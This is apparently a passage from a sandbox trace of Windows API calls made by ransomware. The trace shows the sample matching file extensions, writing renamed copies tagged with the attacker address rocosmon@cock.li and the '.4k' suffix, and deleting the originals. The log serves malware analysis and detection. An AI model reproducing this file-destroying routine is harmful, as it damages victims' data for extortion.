	[0101.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0101.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.581] lstrlenW (lpString=".doc") returned 4
	[0101.581] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.581] lstrlenW (lpString=".docx") returned 5
	[0101.581] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0101.581] lstrlenW (lpString=".pdf") returned 4
	[0101.581] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.581] lstrlenW (lpString=".xls") returned 4
	[0101.581] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.581] lstrlenW (lpString=".xlsx") returned 5
	[0101.581] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0101.581] lstrlenW (lpString=".ppt") returned 4
	[0101.581] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.581] lstrlenW (lpString=".zip") returned 4
	[0101.581] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.582] lstrlenW (lpString=".rar") returned 4
	[0101.582] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.582] lstrlenW (lpString=".bz2") returned 4
	[0101.582] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.582] lstrlenW (lpString=".7z") returned 3
	[0101.582] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.582] lstrlenW (lpString=".dbf") returned 4
	[0101.582] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.582] lstrlenW (lpString=".1cd") returned 4
	[0101.582] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.582] lstrlenW (lpString=".jpg") returned 4
	[0101.582] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.583] lstrlenW (lpString=".doc") returned 4
	[0101.583] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.583] lstrlenW (lpString=".docx") returned 5
	[0101.583] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0101.583] lstrlenW (lpString=".pdf") returned 4
	[0101.583] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.583] lstrlenW (lpString=".xls") returned 4
	[0101.583] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.583] lstrlenW (lpString=".xlsx") returned 5
	[0101.583] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0101.583] lstrlenW (lpString=".ppt") returned 4
	[0101.583] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.583] lstrlenW (lpString=".zip") returned 4
	[0101.583] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.583] lstrlenW (lpString=".rar") returned 4
	[0101.584] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.584] lstrlenW (lpString=".bz2") returned 4
	[0101.584] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.584] lstrlenW (lpString=".7z") returned 3
	[0101.584] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.584] lstrlenW (lpString=".dbf") returned 4
	[0101.584] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.584] lstrlenW (lpString=".1cd") returned 4
	[0101.584] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72
	[0101.584] lstrlenW (lpString=".jpg") returned 4
	[0101.584] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.584] lstrcmpiW (lpString1=".emf", lpString2=".4k") returned 1
	[0101.584] lstrlenW (lpString="Memo.emf") returned 8
	[0101.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.585] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=152300) returned 1
	[0101.585] CloseHandle (hObject=0x1d8) returned 1
	[0101.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20
	[0101.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66
	[0101.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66
	[0101.586] lstrlenW (lpString=".doc") returned 4
	[0101.586] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.586] lstrlenW (lpString=".docx") returned 5
	[0101.586] lstrcmpiW (lpString1=".docx", lpString2="o.emf") returned -1
	[0101.586] lstrlenW (lpString=".pdf") returned 4
	[0101.586] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.586] lstrlenW (lpString=".xls") returned 4
	[0101.586] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.586] lstrlenW (lpString=".xlsx") returned 5
	[0101.586] lstrcmpiW (lpString1=".xlsx", lpString2="o.emf") returned -1
	[0101.586] lstrlenW (lpString=".ppt") returned 4
	[0101.586] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66
	[0101.586] lstrlenW (lpString=".zip") returned 4
	[0101.586] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.586] lstrlenW (lpString=".rar") returned 4
	[0101.586] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.586] lstrlenW (lpString=".bz2") returned 4
	[0101.586] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.586] lstrlenW (lpString=".7z") returned 3
	[0101.586] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66
	[0101.587] lstrlenW (lpString=".dbf") returned 4
	[0101.587] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0102.168] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.168] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.170] GetLastError () returned 0x0
	[0102.170] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x621, lpOverlapped=0x0) returned 1
	[0102.298] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x630, lpOverlapped=0x0) returned 1
	[0102.391] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.391] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.392] SetEndOfFile (hFile=0x1e4) returned 1
	[0102.392] CloseHandle (hObject=0x1e4) returned 1
	[0102.392] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.392] SetEndOfFile (hFile=0x1d8) returned 1
	[0102.393] CloseHandle (hObject=0x1d8) returned 1
	[0102.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1
	[0102.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.397] lstrlenW (lpString=".doc") returned 4
	[0102.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.397] lstrlenW (lpString=".docx") returned 5
	[0102.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.397] lstrlenW (lpString=".pdf") returned 4
	[0102.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.397] lstrlenW (lpString=".xls") returned 4
	[0102.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.397] lstrlenW (lpString=".xlsx") returned 5
	[0102.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.397] lstrlenW (lpString=".ppt") returned 4
	[0102.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.397] lstrlenW (lpString=".zip") returned 4
	[0102.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.397] lstrlenW (lpString=".rar") returned 4
	[0102.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.397] lstrlenW (lpString=".bz2") returned 4
	[0102.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.397] lstrlenW (lpString=".7z") returned 3
	[0102.398] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.398] lstrlenW (lpString=".dbf") returned 4
	[0102.398] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.398] lstrlenW (lpString=".1cd") returned 4
	[0102.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.398] lstrlenW (lpString=".jpg") returned 4
	[0102.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.408] lstrlenW (lpString=".doc") returned 4
	[0102.408] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.408] lstrlenW (lpString=".docx") returned 5
	[0102.408] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.408] lstrlenW (lpString=".pdf") returned 4
	[0102.408] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.408] lstrlenW (lpString=".xls") returned 4
	[0102.408] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.409] lstrlenW (lpString=".xlsx") returned 5
	[0102.409] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.409] lstrlenW (lpString=".ppt") returned 4
	[0102.409] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.409] lstrlenW (lpString=".zip") returned 4
	[0102.409] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.409] lstrlenW (lpString=".rar") returned 4
	[0102.409] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.409] lstrlenW (lpString=".bz2") returned 4
	[0102.409] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.409] lstrlenW (lpString=".7z") returned 3
	[0102.409] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.409] lstrlenW (lpString=".dbf") returned 4
	[0102.409] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.409] lstrlenW (lpString=".1cd") returned 4
	[0102.409] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76
	[0102.409] lstrlenW (lpString=".jpg") returned 4
	[0102.409] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.409] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.409] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.410] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=34916) returned 1
	[0102.410] CloseHandle (hObject=0x1d8) returned 1
	[0102.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20
	[0102.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.410] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.410] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.411] GetLastError () returned 0x0
	[0102.411] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x8864, lpOverlapped=0x0) returned 1
	[0102.456] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x8870, lpOverlapped=0x0) returned 1
	[0102.457] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.457] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.457] SetEndOfFile (hFile=0x1e4) returned 1
	[0102.457] CloseHandle (hObject=0x1e4) returned 1
	[0102.458] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.458] SetEndOfFile (hFile=0x1d8) returned 1
	[0102.458] CloseHandle (hObject=0x1d8) returned 1
	[0102.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.459] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1
	[0102.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.459] lstrlenW (lpString=".doc") returned 4
	[0102.459] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.459] lstrlenW (lpString=".docx") returned 5
	[0102.459] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.459] lstrlenW (lpString=".pdf") returned 4
	[0102.459] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.459] lstrlenW (lpString=".xls") returned 4
	[0102.459] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.459] lstrlenW (lpString=".xlsx") returned 5
	[0102.459] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.459] lstrlenW (lpString=".ppt") returned 4
	[0102.459] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.459] lstrlenW (lpString=".zip") returned 4
	[0102.459] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.459] lstrlenW (lpString=".rar") returned 4
	[0102.459] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.459] lstrlenW (lpString=".bz2") returned 4
	[0102.459] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.459] lstrlenW (lpString=".7z") returned 3
	[0102.459] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString=".dbf") returned 4
	[0102.460] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString=".1cd") returned 4
	[0102.460] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString=".jpg") returned 4
	[0102.460] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString=".doc") returned 4
	[0102.460] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.460] lstrlenW (lpString=".docx") returned 5
	[0102.460] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.460] lstrlenW (lpString=".pdf") returned 4
	[0102.460] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.460] lstrlenW (lpString=".xls") returned 4
	[0102.460] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.460] lstrlenW (lpString=".xlsx") returned 5
	[0102.460] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.460] lstrlenW (lpString=".ppt") returned 4
	[0102.460] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.460] lstrlenW (lpString=".zip") returned 4
	[0102.460] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.460] lstrlenW (lpString=".rar") returned 4
	[0102.460] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.460] lstrlenW (lpString=".bz2") returned 4
	[0102.460] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.461] lstrlenW (lpString=".7z") returned 3
	[0102.461] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.461] lstrlenW (lpString=".dbf") returned 4
	[0102.461] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.461] lstrlenW (lpString=".1cd") returned 4
	[0102.461] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73
	[0102.461] lstrlenW (lpString=".jpg") returned 4
	[0102.461] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.462] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.462] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.471] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=20627) returned 1
	[0102.471] CloseHandle (hObject=0x1d8) returned 1
	[0102.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20
	[0102.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
